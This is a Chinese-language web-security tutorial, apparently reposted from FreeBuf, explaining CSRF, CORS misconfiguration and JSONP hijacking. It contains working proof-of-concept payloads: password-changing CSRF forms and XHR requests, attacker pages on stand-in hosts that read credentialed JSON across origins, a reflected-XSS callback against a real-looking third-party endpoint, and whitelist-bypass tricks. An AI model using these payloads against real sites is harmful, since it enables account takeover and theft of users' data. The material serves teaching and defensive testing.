珂技系列之一篇就够了—

珂技系列之一篇就够了——CSRF-CORS-JSONP
2021-03-10 11:17:18 Author: www.freebuf.com(查看原文) 阅读量:255 收藏

一、 CSRF

客户端请求伪造，集中介绍这三个漏洞，因为本质都是钓鱼。

CSRF的本质是，强迫用户使用浏览器向有漏洞的网站发起一个有害请求，由于浏览器会自动携带cookie，黑客伪造用户操作成功。

CSRF常发生在修改密码，发布文章，点赞，关注，新增管理员等地方。此时CSRF是一个跳板，是利用CSRF达到一些有危害的目的，比如XSS，比如getshell，比如新增管理员。

CSRF必须捏造出符合接口条件的参数，所以CSRF的防御方法也就是增加黑客不可预测的参数，比如修改密码时必须输入原密码，比如敏感操作增加图形验证码，比如将cookie放入header或者POST data中。

具体利用方式为，假设http://baidu.com/changepwd.php存在CSRF，可修改密码，在恶意服务器http://luoke.com/2.html上放置CSRF-POC，然后发给受害者让受害者点开即可。

GET型CSRF

通常直接用img标签触发，非常隐蔽。

<img src=http://baidu.com/changepwd.php?password=123456 hidden >

如果想用GET-CSRF触发反射XSS，需要跳转或者form表单。

<script>window.location.href="https://www.baidu.com/changepwd.php?password=<video src onerror=alert(1)>"</script>

POST型CSRF

可用burp生成POC，默认form表单提交

<form action="http://baidu.com/changepwd.php" method="POST" enctype="text/plain">
<input type="hidden" name="password" value="123456" />
</form>
<script> 
document.forms[0].submit();
</script>

这样会跳转到baidu，可用来触发POST型XSS。但想要隐蔽，需要用xhr提交。

<html>
    <body onload="csrf()">
        </div>
        <script>
            function csrf() {
            var xhr = new XMLHttpRequest();
            payload = "password=123456";
            xhr.open("POST","http://baidu.com/changepwd.php", true);
            xhr.withCredentials = true;
            xhr.send(payload);
            }
        </script>
    </body>
</html>

一般网站都会使用jquery，所以可以简写为

<script src="https://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"></script>
<script>
$.ajax({
type:"POST",
url:"http://baidu.com/changepwd.php",
data:"password=123456",
});
</script>

JSON型CSRF

见下面CORS

二、 CORS

现代web都是前后端分离的，前端和后端以json格式沟通，前端和后端可能不在同一个服务器上。前端跨域访问后端数据时，浏览器对这种行为进行了一定甄别，主要依赖于浏览器发起的请求头和后端服务器的返回头对比。

Origin: http://evil.com:81

Access-Control-Request-Headers: content-type

Access-Control-Request-Method: POST

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: accept, x-requested-with, content-type

Access-Control-Allow-Methods: POST,OPTIONS

Access-Control-Allow-Credentials: true

我们来一一讲解这些返回头有什么意义，Access-Control-Allow-Origin通常有三种常见配置。

header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Origin: http://luoke.cn:81');

最正确的是第三种配置，但一般不是单个域名，而是一个白名单。

如果配置为第二种，则所有无需cookie或者凭证的页面，都可以被js读取。完成CORS和CSRF攻击。

http://luoke.cn:81/json.php

<?php
header('Access-Control-Allow-Origin: *');
//header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Headers: content-type');
$id=json_decode(file_get_contents("php://input"),TRUE)['id'];
if ($id == 1) {
echo json_encode(array(
       'id' => 1,
       'name' => 'test',
'iphone' => 13888888888,
'email' => '[email protected]'
  ));
}
?>

http://evil.com:81/2.html

<html>
    <body onload="cors()">
        </div>
        <script>
            function cors() {
            var xhr = new XMLHttpRequest();
            payload = '{"id":"1"}';
            xhr.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                document.getElementById("demo").innerHTML = alert(this.responseText);
                }
            };
            xhr.open("POST","http://luoke.cn:81/json.php", true);
            xhr.setRequestHeader("Content-type","application/json; charset=utf-8");
            xhr.send(payload);
            }
        </script>
    </body>
</html>

1615342047_604829dfcc0e2a5bd3c00.png!small?1615342606617

此时浏览器会先向luoke.cn:81发起一个OPTIONS请求，得到跨域相关返回头，如果符合浏览器预期，就会发起正式的POST请求。如果不符合预期，则不再发起并在控制台抛出错误。所以跨域本质是浏览器约定俗成的一种安全设置。

Access-Control-Allow-Origin: http://luoke.cn:81

1615342072_604829f81bd4a051f401a.png!small?1615342631498

而Access-Control-Allow-Headers是判断浏览器通过什么方式发起的，默认是content-type，如果后端服务器未配置这个请求头，或者仅允许content-type而浏览器通过XMLHttpRequest发起，也会跨域失败。

json.php注释掉Access-Control-Allow-Headers相关代码，浏览器如下报错。

1615342089_60482a09819c8bd7f4547.png!small?1615342648357

2.html加上xhr.setRequestHeader("X-Requested-With","XMLHttpRequest");代码，json.php恢复Access-Control-Allow-Headers，浏览器如下报错。

1615342104_60482a183171afc7cac65.png!small?1615342663077

json.php设置header('Access-Control-Allow-Headers: content-type,x-requested-with');

然后2.html发起请求，或者用jquery写会比较简单

<script src="https://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"></script>
<script>
var cors=$.ajax({
type:"POST",
dataType:"json",
contentType:"application/json",
url:"http://luoke.cn:81/json.php",
data:'{"id":1}',
crossDomain:false,
success : function(data) {
alert(cors.responseText)
}
})
</script>

1615342144_60482a402c17c1a45872d.png!small?1615342702826

也就是说，Access-Control-Allow-Origin和Access-Control-Allow-Headers都在校验浏览器在发出正式请求之前发送的一个OPTIONS请求。其中Access-Control-Allow-Origin最为重要，如果正确配置只允许白名单域名，浏览器就会拒绝发起请求。这样即无法完成CSRF，也无法读取JSON信息完成CORS攻击。

如何避免浏览器发起这个OPTIONS请求呢？有两种情况。

一种是如果服务器进行了错误的配置，可以无需Content-Type: application/json头就接受JSON请求，OPTIONS检测仅针对Content-Type: application/json头的请求。

json.php

<?php
header('Access-Control-Allow-Origin: http://luoke.cn:81');
header('Content-Type: application/json; charset=utf-8');
$id=json_decode(file_get_contents("php://input"),TRUE)['id'];
if ($id == 1) {
echo json_encode(array(
       'id' => 1,
       'name' => 'test',
'iphone' => 13888888888,
'email' => '[email protected]'
  ));
}
?>

2.html

<html>
    <body onload="cors()">
        </div>
        <script>
            function cors() {
            var xhr = new XMLHttpRequest();
            payload = '{"id":"1"}';
            xhr.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                document.getElementById("demo").innerHTML = alert(this.responseText);
                }
            };
            xhr.open("POST","http://luoke.cn:81/json.php", true);
            xhr.send(payload);
            }
        </script>
    </body>
</html>

如果允许json捏造不存在的参数，也可以直接用表单。改成{"id":"1","aaa":"="}用burp生成更快。

<form action="http://luoke.cn:81/json.php" method="POST" enctype="text/plain">
<input type="hidden" name='{"id":"1","aaa":"' value='"}' />
</form>
<script> 
document.forms[0].submit();
</script>

这样可以发起CSRF攻击，但依然会被跨域检测，改成*之后CORS可行。

第二种情况，就是使用flash和307跳转的方法，不经过OPTIONS直接发起POST JSON请求。仅做参考，实测并不成功。

https://github.com/sp1d3r/swf_json_csrf

https://www.freebuf.com/articles/web/206407.html

到此为止，注意之前的描述——如果配置为第一种和第二种，则所有无需cookie或者凭证的页面，都可以被js读取。完成CORS和CSRF攻击。这也是很多文章没讲清楚的一点。

实际上的CORS和CSRF攻击，几乎都是必定需要cookie的，不需要cookie的CORS和CSRF的危害度也大大降低。

我们设置一个需要cookie才能访问的页面，json.php

<?php
setcookie("name","admin");
header('Access-Control-Allow-Origin: *');
//header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Headers: content-type,x-requested-with');
$id=json_decode(file_get_contents("php://input"),TRUE)['id'];
if (($id == 1) && ($_COOKIE["name"] == "admin")){
echo json_encode(array(
       'id' => 1,
       'name' => 'test',
'iphone' => 13888888888,
'email' => '[email protected]'
  ));
}
?>

再用同样的方式去访问，2.html

<html>
    <body onload="cors()">
        </div>
        <script>
            function cors() {
            var xhr = new XMLHttpRequest();
            payload = '{"id":"1"}';
            xhr.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                document.getElementById("demo").innerHTML = alert(this.responseText);
                }
            };
            xhr.open("POST","http://luoke.cn:81/json.php", true);
            xhr.setRequestHeader("Content-type","application/json; charset=utf-8");
            xhr.send(payload);
            }
        </script>
    </body>
</html>

可以发现，无论访问多少次，只能读取到没有cookie而报错的php页面。

1615342323_60482af376cf9ca082e6b.png!small?1615342882516

POST请求中也没有携带COOKIE，这样CSRF和CORS均失效了。

如何让请求带上cookie呢，2.html加上

xhr.withCredentials = true;

1615342347_60482b0b9790b84db172b.png!small?1615342906613

设置header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);

1615342362_60482b1acb34dba237e94.png!small?1615342921717

设置header('Access-Control-Allow-Credentials: true');

1615342385_60482b315fc0bbc026a45.png!small?1615342944051

这样才成功读取。

总结，对于JSON请求来说。

header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);

这种配置最危险，CSRF+CORS均可进行，

header('Access-Control-Allow-Origin: *');

需要cookie才能访问的页面无法进行CSRF或者CORS攻击，无cookie页面可以进行CSRF或者CORS攻击。

header('Access-Control-Allow-Origin: http://luoke.cn:81');

最正确的配置。

除此之外，如果没有校验Content-Type: application/json，也可以遭受CSRF攻击，此时能否CORS还是得看Access-Control-Allow-Origin配置。

如果有XSS漏洞来配合，则可以同域攻击，无视一切跨域防护。

所以检测服务器是否有跨域漏洞，一般在burp中增加Origin: http://evil.com头，观察服务器采用了哪种配置。如果使用的是白名单，也有可能是使用了正则白名单，有可能通过luoke.cn.evil.com或者aluoke.cn之类的方式绕过。

三、 JSONP

jsonp本身就是为了解决跨域问题的，相当于一个跨域后门。因为不同域之间是无法访问数据的，只能访问js。所以将一个A域名的动态脚本动态生成jsonp格式的数据，再让B域名把这个动态脚本当做js引用，然后读取其中的jsonp数据进行解析。

我们可以搜索网上的一些jsonp并引用。

<script>
function jsonp_FEE1F801(json){
    alert(JSON.stringify(json));
}
</script>
<script src="http://wap.yy.com/mobileweb/play/getTinyVideoMsg?resid=9212404123459672357&callback=jsonp_FEE1F801"></script>

1615342487_60482b9780e5e9d91112e.png!small?1615343046259

如果http://wap.yy.com/mobileweb/play/getTinyVideoMsg?resid=9212404123459672357&callback=jsonp_FEE1F801链接返回的是用户携带cookie才能够访问的敏感信息，我们就可以再利用xhr将敏感信息通过url给传走，这就构成了CORS的利用方法。

这里用的callback参数，是说明jsonp一般使用的是回调函数，动态调用接口中的方法。callback可控且动态返回的话，还可以进行反射XSS。

http://wap.yy.com/mobileweb/play/getTinyVideoMsg?resid=9212404123459672357&callback=%3Cvideo/src/onloadstart=alert(1)%3E

因此要检测jsonp漏洞，就必须得关注那些有callback函数的接口，然后观察返回的信息是否含有敏感信息，比如token，用户身份，甚至账户密码等。如果都没有，也可以尝试fuzz一下callback参数。

文章来源: https://www.freebuf.com/articles/web/265658.html
如有侵权请联系:admin#unsafe.sh